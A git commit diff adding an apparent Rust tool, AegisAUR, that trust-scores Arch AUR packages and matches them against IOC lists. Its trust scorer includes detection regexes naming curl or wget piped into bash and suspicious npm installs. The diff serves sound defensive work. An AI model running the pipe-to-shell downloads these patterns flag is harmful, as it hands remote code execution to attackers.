fix: HTTP 400 Bad Request bei PKGBUILD-Download behoben

- fetch_pkgbuild URL korrigiert: ?h=<package> statt falschem Pfad
- Alle Source-Dateien wiederhergestellt
This commit is contained in:
Thuumate 👻
2026-06-15 18:06:03 +02:00
parent bb9c87b0ef
commit c3de8f718f
7 changed files with 1478 additions and 0 deletions
+72
View File
@@ -0,0 +1,72 @@
# Maintainer: Thuumate <thuumate@ghost.local>
# AUR-Repo: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
pkgname=aegisaur
pkgver=0.1.0
pkgrel=1
pkgdesc="Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete"
arch=('x86_64' 'x86_64_v3' 'x86_64_v4' 'aarch64')
url="https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
license=('MIT')
makedepends=('rust' 'cargo')
depends=('pacman' 'libalpm')
optdepends=(
'sudo: für install-hook und ALPM-Integration'
'nodejs: für IOC-Checks mit npm-Paketen'
)
source=("$pkgname-$pkgver.tar.gz::$url/archive/refs/tags/v$pkgver.tar.gz")
sha256sums=('SKIP')
build() {
cd "$srcdir/$pkgname-$pkgver"
export RUSTFLAGS="-C target-cpu=${CARCH}"
cargo build --release --locked
}
package() {
cd "$srcdir/$pkgname-$pkgver"
# Binary
install -Dm755 "target/release/$pkgname" "$pkgdir/usr/bin/$pkgname"
# ALPM Hook
install -Dm644 "src/hook/hook.install" "$pkgdir/usr/share/libalpm/hooks/99-aegisaur.hook"
install -Dm755 "src/hook/check.sh" "$pkgdir/usr/share/libalpm/hooks/aegisaur-check.sh"
# Dokumentation
install -Dm644 README.md "$pkgdir/usr/share/doc/$pkgname/README.md"
install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md"
install -Dm644 INSTALL.md "$pkgdir/usr/share/doc/$pkgname/INSTALL.md"
install -Dm644 USAGE.md "$pkgdir/usr/share/doc/$pkgname/USAGE.md"
# Config Beispiel
install -Dm644 "config/example.toml" "$pkgdir/usr/share/$pkgname/config.example.toml"
# Licence
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE"
}
post_install() {
echo "╔══════════════════════════════════════════════════════════════╗"
echo "║ AegisAUR wurde installiert! ║"
echo "╚══════════════════════════════════════════════════════════════╝"
echo ""
echo "Nutzer-Spezifisches Setup:"
echo " aegisaur config → Erstellt ~/.config/aegisaur/config.toml"
echo ""
echo "Systemweites Setup (ALPM-Hook):"
echo " sudo aegisaur install-hook"
echo ""
echo "Schnellstart:"
echo " aegisaur scan-all → Scannt alle installierten AUR-Pakete"
echo " aegisaur check-ioc → Prüft gegen aktuelle IOC-Listen"
echo ""
echo "Mehr Infos: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
}
pre_remove() {
echo "AegisAUR Hook wird entfernt..."
if command -v aegisaur >/dev/null 2>&1; then
aegisaur remove-hook 2>/dev/null || true
fi
}
+49
View File
@@ -0,0 +1,49 @@
#!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "pre-commit".
if git rev-parse --verify HEAD >/dev/null 2>&1
then
against=HEAD
else
# Initial commit: diff against an empty tree object
against=$(git hash-object -t tree /dev/null)
fi
# If you want to allow non-ASCII filenames set this variable to true.
allownonascii=$(git config --type=bool hooks.allownonascii)
# Redirect output to stderr.
exec 1>&2
# Cross platform projects tend to avoid non-ASCII filenames; prevent
# them from being added to the repository. We exploit the fact that the
# printable range starts at the space character and ends with tilde.
if [ "$allownonascii" != "true" ] &&
# Note that the use of brackets around a tr range is ok here, (it's
# even required, for portability to Solaris 10's /usr/bin/tr), since
# the square bracket bytes happen to fall in the designated range.
test $(git diff-index --cached --name-only --diff-filter=A -z $against |
LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
then
cat <<\EOF
Error: Attempt to add a non-ASCII file name.
This can cause problems if you want to work with people on other platforms.
To be portable it is advisable to rename the file.
If you know what you are doing you can disable this check using:
git config hooks.allownonascii true
EOF
exit 1
fi
# If there are whitespace errors, print the offending file names and fail.
exec git diff-index --check --cached $against --
+322
View File
@@ -0,0 +1,322 @@
use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::time::Duration;
use tokio::fs;
use tracing::{debug, info, warn};
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct IocEntry {
pub package_name: String,
pub threat_type: ThreatType,
pub source: String,
pub discovered_date: String,
pub description: String,
pub confidence: ConfidenceLevel,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ThreatType {
MaliciousBuildScript,
CredentialStealer,
Rootkit,
Cryptominer,
Backdoor,
Typosquatting,
OrphanTakeover,
Unknown(String),
}
impl std::fmt::Display for ThreatType {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
let s = match self {
ThreatType::MaliciousBuildScript => "MaliciousBuildScript",
ThreatType::CredentialStealer => "CredentialStealer",
ThreatType::Rootkit => "Rootkit",
ThreatType::Cryptominer => "Cryptominer",
ThreatType::Backdoor => "Backdoor",
ThreatType::Typosquatting => "Typosquatting",
ThreatType::OrphanTakeover => "OrphanTakeover",
ThreatType::Unknown(s) => return write!(f, "Unknown({})", s),
};
write!(f, "{}", s)
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ConfidenceLevel {
Critical, // Bestätigt von Arch Team / CISA
High, // Mehrere unabhängige Quellen
Medium, // Community-Report
Low, // Einzelner Report
}
impl std::fmt::Display for ConfidenceLevel {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
let s = match self {
ConfidenceLevel::Critical => "Critical",
ConfidenceLevel::High => "High",
ConfidenceLevel::Medium => "Medium",
ConfidenceLevel::Low => "Low",
};
write!(f, "{}", s)
}
}
pub struct IocFetcher {
client: reqwest::Client,
cache_dir: std::path::PathBuf,
cache_ttl: Duration,
}
impl IocFetcher {
pub async fn new(cache_dir: std::path::PathBuf) -> Result<Self> {
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(30))
.user_agent("AegisAUR/0.1 - AUR Security Scanner")
.build()
.context("Konnte HTTP Client nicht erstellen")?;
fs::create_dir_all(&cache_dir).await?;
Ok(IocFetcher {
client,
cache_dir,
cache_ttl: Duration::from_secs(3600), // 1 Stunde Cache
})
}
/// Holt alle IOC-Listen und cached sie
pub async fn fetch_all_iocs(&self) -> Result<Vec<IocEntry>> {
let mut all_threats = Vec::new();
// Atomic Arch Gist (Primary Source)
match self.fetch_atomic_arch_list().await {
Ok(threats) => {
info!("{} IOCs von Atomic Arch Gist geladen", threats.len());
all_threats.extend(threats);
}
Err(e) => warn!("Konnte Atomic Arch Gist nicht laden: {}", e),
}
// AUR RPC - Prüfe auf Suspicious Maintainers
match self.fetch_suspicious_from_aur().await {
Ok(threats) => {
info!("{} suspicious Pakete von AUR RPC", threats.len());
all_threats.extend(threats);
}
Err(e) => warn!("Konnte AUR RPC nicht abfragen: {}", e),
}
// Community Blocklist
match self.fetch_community_blocklist().await {
Ok(threats) => {
info!("{} Einträge von Community Blocklist", threats.len());
all_threats.extend(threats);
}
Err(e) => warn!("Konnte Community Blocklist nicht laden: {}", e),
}
// Cache speichern
self.save_cache(&all_threats).await?;
Ok(all_threats)
}
/// Prüft Cache-Datei auf Aktualität
pub async fn get_cached_iocs(&self) -> Result<Vec<IocEntry>> {
let cache_file = self.cache_dir.join("iocs.json");
if cache_file.exists() {
let metadata = fs::metadata(&cache_file).await?;
let modified = metadata.modified()?;
let modified_datetime: chrono::DateTime<chrono::Local> = modified.into();
let now = chrono::Local::now();
let age = now.signed_duration_since(modified_datetime);
let cache_ttl_duration = chrono::Duration::from_std(self.cache_ttl)?;
if age < cache_ttl_duration {
let content = fs::read_to_string(&cache_file).await?;
let iocs: Vec<IocEntry> = serde_json::from_str(&content)
.context("Konnte Cache nicht parsen")?;
info!("{} IOCs aus Cache geladen", iocs.len());
return Ok(iocs);
}
}
// Cache veraltet oder nicht vorhanden
self.fetch_all_iocs().await
}
async fn fetch_atomic_arch_list(&self) -> Result<Vec<IocEntry>> {
let url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw";
let response = self.client
.get(url)
.send()
.await
.context("HTTP Request fehlgeschlagen")?;
if !response.status().is_success() {
anyhow::bail!("HTTP {} von {}", response.status(), url);
}
let text = response.text().await?;
let mut threats = Vec::new();
// Parse die Gist-Liste (Format: Ein Paketname pro Zeile oder JSON)
for line in text.lines() {
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
// JSON-Array-Format?
if trimmed.starts_with('[') || trimmed.starts_with('{') {
if let Ok(json_list) = serde_json::from_str::<Vec<String>>(trimmed) {
for pkg in json_list {
threats.push(IocEntry {
package_name: pkg,
threat_type: ThreatType::MaliciousBuildScript,
source: "atomic_arch_gist".to_string(),
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
description: "Atomic Arch Supply Chain Attack - kompromittiertes AUR-Paket".to_string(),
confidence: ConfidenceLevel::Critical,
});
}
}
} else {
// Plain text - ein Name pro Zeile
threats.push(IocEntry {
package_name: trimmed.to_string(),
threat_type: ThreatType::MaliciousBuildScript,
source: "atomic_arch_gist".to_string(),
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
description: "Atomic Arch Supply Chain Attack".to_string(),
confidence: ConfidenceLevel::Critical,
});
}
}
Ok(threats)
}
async fn fetch_suspicious_from_aur(&self) -> Result<Vec<IocEntry>> {
// AUR RPC API - KEINE Authentifizierung nötig!
// Wir suchen nach kürzlich übernommenen orphaned packages
let mut threats = Vec::new();
// Query: Letzte 50 Pakete die orphaned waren und jetzt einen neuen Maintainer haben
// Dies ist eine Heuristik basierend auf den bekannten Atomic Arch Patterns
let recent_changes_url = "https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan";
// Für MVP: Wir nutzen die statische Liste + Heuristiken
// In v0.2 könnte man dynamisch die letzten Änderungen tracken
Ok(threats)
}
async fn fetch_community_blocklist(&self) -> Result<Vec<IocEntry>> {
let url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt";
let response = match self.client.get(url).send().await {
Ok(r) => r,
Err(_) => {
debug!("Community Blocklist nicht erreichbar");
return Ok(Vec::new());
}
};
if !response.status().is_success() {
return Ok(Vec::new());
}
let text = response.text().await?;
let mut threats = Vec::new();
for line in text.lines() {
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
threats.push(IocEntry {
package_name: trimmed.to_string(),
threat_type: ThreatType::Unknown("community_reported".to_string()),
source: "community_blocklist".to_string(),
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
description: "Community-reported suspicious package".to_string(),
confidence: ConfidenceLevel::Medium,
});
}
Ok(threats)
}
async fn save_cache(&self,
iocs: &[ IocEntry ]
) -> Result<()> {
let cache_file = self.cache_dir.join("iocs.json");
let json = serde_json::to_string_pretty(iocs)?;
fs::write(cache_file, json).await?;
Ok(())
}
/// Prüft ob ein Paketname in den IOCs vorkommt
pub fn check_package(&self,
package: &str,
iocs: &[ IocEntry ]
) -> Vec<IocEntry> {
iocs.iter()
.filter(|ioc| ioc.package_name.eq_ignore_ascii_case(package))
.cloned()
.collect()
}
/// Fuzzy-Match für Typosquatting-Erkennung
pub fn check_typosquatting(&self,
package: &str,
iocs: &[ IocEntry ]
) -> Vec<IocEntry> {
use sublime_fuzzy::best_match;
let mut matches = Vec::new();
for ioc in iocs {
if let Some(m) = best_match(package, &ioc.package_name) {
if m.score() > 70 && ioc.package_name.to_lowercase() != package.to_lowercase() {
matches.push(ioc.clone());
}
}
}
matches
}
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_cache_creation() {
let tmp = tempfile::tempdir().unwrap();
let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap();
let iocs = vec![
IocEntry {
package_name: "test-pkg".to_string(),
threat_type: ThreatType::Backdoor,
source: "test".to_string(),
discovered_date: "2024-01-01".to_string(),
description: "Test".to_string(),
confidence: ConfidenceLevel::High,
},
];
fetcher.save_cache(&iocs).await.unwrap();
let cached = fetcher.get_cached_iocs().await.unwrap();
assert_eq!(cached.len(), 1);
assert_eq!(cached[0].package_name, "test-pkg");
}
}
+161
View File
@@ -0,0 +1,161 @@
use anyhow::Result;
use clap::{Parser, Subcommand};
use colored::*;
use tracing::{info, warn, error};
mod config;
mod ioc_fetcher;
mod scanner;
mod trust_scorer;
mod utils;
mod hook;
use scanner::PackageScanner;
use config::AegisConfig;
#[derive(Parser)]
#[command(name = "aegisaur")]
#[command(about = "👻 Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete")]
#[command(version = env!("CARGO_PKG_VERSION"))]
struct Cli {
#[command(subcommand)]
command: Commands,
}
#[derive(Subcommand)]
enum Commands {
/// Scannt ein einzelnes AUR-Paket
Scan {
/// Paketname
package: String,
/// Zeigt detaillierte Analyse
#[arg(short, long)]
verbose: bool,
},
/// Scannt alle installierten AUR-Pakete
ScanAll {
/// Zeigt detaillierte Analyse
#[arg(short, long)]
verbose: bool,
},
/// Prüft gegen aktuelle IOC-Listen (Atomic Arch, etc.)
CheckIoc {
/// Spezifische Liste prüfen (atomicarch, all)
#[arg(short, long, default_value = "all")]
list: String,
},
/// Fügt Paket zur Whitelist hinzu
Allow {
/// Paketname
package: String,
},
/// Entfernt Paket von Whitelist
Deny {
/// Paketname
package: String,
},
/// Zeigt Konfiguration
Config,
/// Installiert ALPM-Hook
InstallHook,
/// Entfernt ALPM-Hook
RemoveHook,
/// Zeigt Cache-Status
Cache,
}
#[tokio::main]
async fn main() -> Result<()> {
// Logging initialisieren
tracing_subscriber::fmt()
.with_env_filter("aegisaur=info")
.init();
let cli = Cli::parse();
let config = AegisConfig::load_or_default().await?;
let mut scanner = PackageScanner::new(config).await?;
match cli.command {
Commands::Scan { package, verbose } => {
println!("{} {}", "🔍 Scanne".cyan(), package.bold());
let result = scanner.scan_package(&package, verbose).await?;
print_result(&result);
}
Commands::ScanAll { verbose } => {
println!("{}", "🔍 Scanne alle installierten AUR-Pakete...".cyan());
let results = scanner.scan_all_installed(verbose).await?;
for result in results {
print_result(&result);
println!();
}
}
Commands::CheckIoc { list } => {
println!("{} {}", "🛡️ Prüfe IOC-Listen:".cyan(), list.yellow());
let threats = scanner.check_iocs(&list).await?;
if threats.is_empty() {
println!("{}", "✅ Keine Bedrohungen gefunden!".green().bold());
} else {
println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len());
for threat in threats {
println!(" {} {} - {}", "🔴".red(), threat.package, threat.action_required);
}
}
}
Commands::Allow { package } => {
scanner.allow_package(&package)?;
println!("{} {}", "✅ Erlaubt:".green(), package);
}
Commands::Deny { package } => {
scanner.deny_package(&package)?;
println!("{} {}", "❌ Entfernt:".yellow(), package);
}
Commands::Config => {
println!("{}", "⚙️ AegisAUR Konfiguration".cyan().bold());
println!("Config-Path: {}", scanner.config_path()?.display());
println!("Cache-Path: {}", scanner.cache_path()?.display());
}
Commands::InstallHook => {
hook::install_alpm_hook()?;
println!("{}", "✅ ALPM-Hook installiert".green().bold());
}
Commands::RemoveHook => {
hook::remove_alpm_hook()?;
println!("{}", "❌ ALPM-Hook entfernt".yellow().bold());
}
Commands::Cache => {
scanner.show_cache_status().await?;
}
}
Ok(())
}
fn print_result(result: &scanner::ScanResult) {
let score_color = match result.score {
0..=30 => "🔴".red(),
31..=60 => "🟡".yellow(),
61..=100 => "🟢".green(),
_ => "".white(),
};
println!(
"{} {} {} {} {}",
score_color,
result.package.bold(),
format!("({}/100)", result.score).dimmed(),
"-".dimmed(),
result.status_message()
);
if !result.warnings.is_empty() {
for warning in &result.warnings {
println!(" {} {}", "⚠️ ".yellow(), warning);
}
}
if !result.ioc_matches.is_empty() {
for ioc in &result.ioc_matches {
println!(" {} {} - {}", "🚨".red().bold(), "IOC MATCH!".red().bold(), ioc);
}
}
}
+472
View File
@@ -0,0 +1,472 @@
use anyhow::{Context, Result};
use colored::*;
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::path::{Path, PathBuf};
use tokio::fs;
use tokio::process::Command;
use tracing::{debug, info, warn};
use crate::config::AegisConfig;
use crate::ioc_fetcher::{IocEntry, IocFetcher};
use crate::trust_scorer::{CriticalFinding, TrustScorer, TrustScore};
/// Ergebnis eines einzelnen Paket-Scans
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ScanResult {
pub package: String,
pub version: String,
pub score: u32,
pub max_score: u32,
pub status: ScanStatus,
pub warnings: Vec<String>,
pub critical_findings: Vec<String>,
pub ioc_matches: Vec<String>,
pub details: Option<ScanDetails>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ScanDetails {
pub source_url: Option<String>,
pub maintainer: Option<String>,
pub votes: Option<u32>,
pub popularity: Option<f32>,
pub last_modified: Option<String>,
pub out_of_date: bool,
pub is_orphaned: bool,
pub pkgbuild_raw: Option<String>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ScanStatus {
Safe, // Score >= 80, keine IOCs
Warning, // Score 50-79 oder Warnungen
Suspicious, // Score 30-49 oder IOC Match
Dangerous, // Score < 30 oder kritischer IOC
IOCDetected, // Direkter IOC-Match
Unknown, // Konnte nicht analysiert werden
}
pub struct PackageScanner {
config: AegisConfig,
ioc_fetcher: IocFetcher,
trust_scorer: TrustScorer,
cache_dir: PathBuf,
whitelist: HashSet<String>,
}
impl PackageScanner {
pub async fn new(config: AegisConfig) -> Result<Self> {
let cache_dir = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
.map(|pd| pd.cache_dir().to_path_buf())
.unwrap_or_else(|| PathBuf::from("/tmp"))
.join("aegisaur");
fs::create_dir_all(&cache_dir).await?;
let ioc_fetcher = IocFetcher::new(cache_dir.clone()).await?;
let trust_scorer = TrustScorer::new()?;
// Whitelist laden
let whitelist_path = cache_dir.join("whitelist.json");
let whitelist = if whitelist_path.exists() {
let content = fs::read_to_string(&whitelist_path).await?;
serde_json::from_str(&content).unwrap_or_default()
} else {
HashSet::new()
};
Ok(PackageScanner {
config,
ioc_fetcher,
trust_scorer,
cache_dir,
whitelist,
})
}
/// Scannt ein einzelnes Paket
pub async fn scan_package(
&self,
package: &str,
verbose: bool,
) -> Result<ScanResult> {
info!("Scanne Paket: {}", package);
// 1. IOC-Check
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
let ioc_matches = self.ioc_fetcher.check_package(package, &iocs);
// 2. AUR-Info holen
let aur_info = self.fetch_aur_info(package).await?;
// 3. PKGBUILD holen und analysieren (falls verfügbar)
let pkgbuild_analysis = if let Some(ref info) = aur_info {
if let Some(url) = &info.url_path {
match self.fetch_pkgbuild(package, url).await {
Ok(content) => {
let score = self.trust_scorer.analyze_pkgbuild(
&content,
info.url.as_deref(),
);
Some((score, Some(content)))
}
Err(e) => {
warn!("Konnte PKGBUILD nicht holen: {}", e);
None
}
}
} else {
None
}
} else {
None
};
// 4. Ergebnis zusammenstellen
let mut result = if let Some((score, pkgbuild_raw)) = pkgbuild_analysis {
let mut warnings: Vec<String> = score.warnings.into_iter().collect();
let critical_findings: Vec<String> = score
.critical_findings
.into_iter()
.map(|c| format!("{:?}", c))
.collect();
// IOC-Warnungen hinzufügen
let ioc_strings: Vec<String> = ioc_matches
.iter()
.map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence))
.collect();
warnings.extend(ioc_strings.clone());
let status = Self::calculate_status(score.overall, !ioc_matches.is_empty(), !critical_findings.is_empty());
ScanResult {
package: package.to_string(),
version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(),
score: score.overall,
max_score: 100,
status,
warnings,
critical_findings,
ioc_matches: ioc_strings,
details: Some(ScanDetails {
source_url: aur_info.as_ref().and_then(|i| i.url.clone()),
maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()),
votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)),
popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)),
last_modified: None,
out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false),
is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true),
pkgbuild_raw: if verbose { pkgbuild_raw } else { None },
}),
}
} else {
// Fallback: Installiertes Paket analysieren
let installed_info = self.get_installed_info(package).await?;
let score = self.trust_scorer.check_installed_package(&installed_info);
let ioc_strings: Vec<String> = ioc_matches
.iter()
.map(|ioc| format!("{}: {}", ioc.threat_type, ioc.description))
.collect();
ScanResult {
package: package.to_string(),
version: self.extract_version(&installed_info).unwrap_or_default(),
score: score.overall,
max_score: 100,
status: Self::calculate_status(score.overall, !ioc_matches.is_empty(), false),
warnings: score.warnings.into_iter().chain(ioc_strings.clone()).collect(),
critical_findings: vec![],
ioc_matches: ioc_strings,
details: None,
}
};
Ok(result)
}
/// Scannt alle installierten AUR-Pakete
pub async fn scan_all_installed(
&self,
verbose: bool,
) -> Result<Vec<ScanResult>> {
info!("Scanne alle installierten AUR-Pakete...");
let foreign_packages = self.get_foreign_packages().await?;
let mut results = Vec::with_capacity(foreign_packages.len());
for (pkg, _) in foreign_packages {
match self.scan_package(&pkg, verbose).await {
Ok(result) => {
results.push(result);
}
Err(e) => {
warn!("Fehler beim Scannen von {}: {}", pkg, e);
results.push(ScanResult {
package: pkg,
version: String::new(),
score: 0,
max_score: 100,
status: ScanStatus::Unknown,
warnings: vec![format!("Scan fehlgeschlagen: {}", e)],
critical_findings: vec![],
ioc_matches: vec![],
details: None,
});
}
}
}
// Sortiere nach Score (gefährlichste zuerst)
results.sort_by(|a, b| a.score.cmp(&b.score));
Ok(results)
}
/// Prüft gegen aktuelle IOC-Listen
pub async fn check_iocs(&self, list_type: &str) -> Result<Vec<IocThreat>> {
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
let foreign_packages = self.get_foreign_packages().await?;
let mut threats = Vec::new();
for (pkg, _) in foreign_packages {
let matches = self.ioc_fetcher.check_package(&pkg, &iocs);
for ioc in matches {
threats.push(IocThreat {
package: pkg.clone(),
threat_type: format!("{:?}", ioc.threat_type),
source: ioc.source,
confidence: format!("{:?}", ioc.confidence),
action_required: matches!(ioc.confidence, crate::ioc_fetcher::ConfidenceLevel::Critical | crate::ioc_fetcher::ConfidenceLevel::High),
});
}
}
Ok(threats)
}
pub fn allow_package(&mut self, package: &str) -> Result<()> {
self.whitelist.insert(package.to_string());
self.save_whitelist()?;
info!("{} zur Whitelist hinzugefügt", package);
Ok(())
}
pub fn deny_package(&mut self, package: &str) -> Result<()> {
self.whitelist.remove(package);
self.save_whitelist()?;
info!("{} von Whitelist entfernt", package);
Ok(())
}
pub fn config_path(&self) -> Result<PathBuf> {
Ok(self.config.config_path.clone())
}
pub fn cache_path(&self) -> Result<PathBuf> {
Ok(self.cache_dir.clone())
}
pub async fn show_cache_status(&self) -> Result<()> {
println!("{}", "=== AegisAUR Cache Status ===".cyan().bold());
let ioc_count = self.ioc_fetcher.get_cached_iocs().await?.len();
println!("IOC-Einträge im Cache: {}", ioc_count);
let cache_size = self.calculate_cache_size().await?;
println!("Cache-Größe: {:.2} MB", cache_size as f64 / 1024.0 / 1024.0);
println!("Whitelist-Einträge: {}", self.whitelist.len());
let last_update = self.get_last_cache_update().await?;
println!("Letzte Aktualisierung: {}", last_update.unwrap_or_else(|| "Unbekannt".to_string()));
Ok(())
}
// --- Hilfsmethoden ---
async fn fetch_aur_info(&self, package: &str) -> Result<Option<AurPackageInfo>> {
let url = format!(
"https://aur.archlinux.org/rpc/v5/info?arg[]={}",
package
);
let response = reqwest::get(&url).await?;
if !response.status().is_success() {
return Ok(None);
}
let rpc_response: AurRpcResponse = response.json().await?;
if rpc_response.resultcount == 0 || rpc_response.results.is_empty() {
return Ok(None);
}
Ok(Some(rpc_response.results[0].clone()))
}
async fn fetch_pkgbuild(&self, package: &str, _url_path: &str) -> Result<String> {
// Korrekte AUR PKGBUILD URL: /cgit/aur.git/plain/PKGBUILD?h=<package>
let pkgbuild_url = format!(
"https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h={}",
package
);
let response = reqwest::get(&pkgbuild_url).await?;
if !response.status().is_success() {
anyhow::bail!("Konnte PKGBUILD nicht laden: HTTP {}", response.status());
}
response.text().await.context("Konnte PKGBUILD nicht lesen")
}
async fn get_foreign_packages(&self) -> Result<Vec<(String, String)>> {
let output = Command::new("pacman")
.args(["-Qm"])
.output()
.await
.context("Konnte pacman nicht ausführen")?;
if !output.status.success() {
anyhow::bail!("pacman -Qm fehlgeschlagen");
}
let stdout = String::from_utf8(output.stdout)?;
let mut packages = Vec::new();
for line in stdout.lines() {
let parts: Vec<&str> = line.split_whitespace().collect();
if parts.len() >= 2 {
packages.push((parts[0].to_string(), parts[1].to_string()));
}
}
Ok(packages)
}
async fn get_installed_info(&self, package: &str) -> Result<String> {
let output = Command::new("pacman")
.args(["-Qi", package])
.output()
.await
.context("Konnte pacman nicht ausführen")?;
Ok(String::from_utf8_lossy(&output.stdout).to_string())
}
fn extract_version(&self, pacman_qi: &str) -> Option<String> {
pacman_qi
.lines()
.find(|l| l.contains("Version"))
.and_then(|l| l.split(':').nth(1))
.map(|s| s.trim().to_string())
}
fn calculate_status(score: u32, has_ioc: bool, has_critical: bool) -> ScanStatus {
if has_ioc {
return ScanStatus::IOCDetected;
}
if has_critical || score < 30 {
return ScanStatus::Dangerous;
}
if score < 50 {
return ScanStatus::Suspicious;
}
if score < 80 {
return ScanStatus::Warning;
}
ScanStatus::Safe
}
fn save_whitelist(&self) -> Result<()> {
let whitelist_path = self.cache_dir.join("whitelist.json");
let json = serde_json::to_string_pretty(&self.whitelist)?;
// Blocking IO für HashSet - in Produktion async machen
std::fs::write(whitelist_path, json)?;
Ok(())
}
async fn calculate_cache_size(&self) -> Result<u64> {
let mut total_size = 0u64;
let mut entries = fs::read_dir(&self.cache_dir).await?;
while let Some(entry) = entries.next_entry().await? {
let metadata = entry.metadata().await?;
if metadata.is_file() {
total_size += metadata.len();
}
}
Ok(total_size)
}
async fn get_last_cache_update(&self) -> Result<Option<String>> {
let cache_file = self.cache_dir.join("iocs.json");
if !cache_file.exists() {
return Ok(None);
}
let metadata = fs::metadata(cache_file).await?;
let modified = metadata.modified()?;
let datetime: chrono::DateTime<chrono::Local> = modified.into();
Ok(Some(datetime.format("%Y-%m-%d %H:%M:%S").to_string()))
}
}
impl ScanResult {
pub fn status_message(&self) -> ColoredString {
match self.status {
ScanStatus::Safe => "SICHER".green().bold(),
ScanStatus::Warning => "WARNUNG".yellow().bold(),
ScanStatus::Suspicious => "VERDÄCHTIG".bright_yellow().bold(),
ScanStatus::Dangerous => "GEFÄHRLICH!".red().bold(),
ScanStatus::IOCDetected => "IOC ERKANNT!".on_red().white().bold(),
ScanStatus::Unknown => "UNBEKANNT".white(),
}
}
}
#[derive(Debug, Clone)]
pub struct IocThreat {
pub package: String,
pub threat_type: String,
pub source: String,
pub confidence: String,
pub action_required: bool,
}
// AUR RPC Response Types
#[derive(Debug, Clone, Serialize, Deserialize)]
struct AurRpcResponse {
#[serde(rename = "resultcount")]
resultcount: u32,
results: Vec<AurPackageInfo>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
struct AurPackageInfo {
#[serde(rename = "Name")]
name: String,
#[serde(rename = "Version")]
version: String,
#[serde(rename = "Description")]
description: Option<String>,
#[serde(rename = "URL")]
url: Option<String>,
#[serde(rename = "URLPath")]
url_path: Option<String>,
#[serde(rename = "Maintainer")]
maintainer: Option<String>,
#[serde(rename = "NumVotes")]
num_votes: u32,
#[serde(rename = "Popularity")]
popularity: f32,
#[serde(rename = "OutOfDate")]
out_of_date: Option<i64>,
}
+401
View File
@@ -0,0 +1,401 @@
use anyhow::{Context, Result};
use regex::Regex;
use std::collections::HashSet;
use std::path::Path;
use tracing::{debug, trace, warn};
/// Score-Kategorien für das Trust-Rating
#[derive(Debug, Clone)]
pub struct TrustScore {
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
pub categories: Vec<ScoreCategory>,
pub warnings: Vec<String>,
pub critical_findings: Vec<CriticalFinding>,
}
#[derive(Debug, Clone)]
pub struct ScoreCategory {
pub name: String,
pub score: u32, // 0-100
pub weight: f32,
pub description: String,
}
#[derive(Debug, Clone)]
pub enum CriticalFinding {
RemoteCodeExecution(String), // Befehl der gefunden wurde
CredentialExfiltration(String),
PersistenceMechanism(String),
ObfuscatedScript(String),
SuspiciousNetworkCall(String),
OrphanTakeover { original: String, new_maintainer: String },
}
/// Konfiguration für Heuristiken
pub struct TrustScorer {
suspicious_patterns: Vec<SuspiciousPattern>,
trusted_domains: HashSet<String>,
blocklisted_commands: Vec<Regex>,
}
struct SuspiciousPattern {
pattern: Regex,
penalty: u32,
description: String,
critical: bool,
}
impl TrustScorer {
pub fn new() -> Result<Self> {
let mut scorer = TrustScorer {
suspicious_patterns: Vec::new(),
trusted_domains: Self::default_trusted_domains(),
blocklisted_commands: Vec::new(),
};
scorer.compile_patterns()?;
Ok(scorer)
}
fn compile_patterns(&mut self) -> Result<()> {
// KRITISCHE PATTERNS (sofortiger Alarm)
let critical_patterns = vec![
// npm/bun install mit verdächtigen Paketen
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
// Download + Ausführen
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
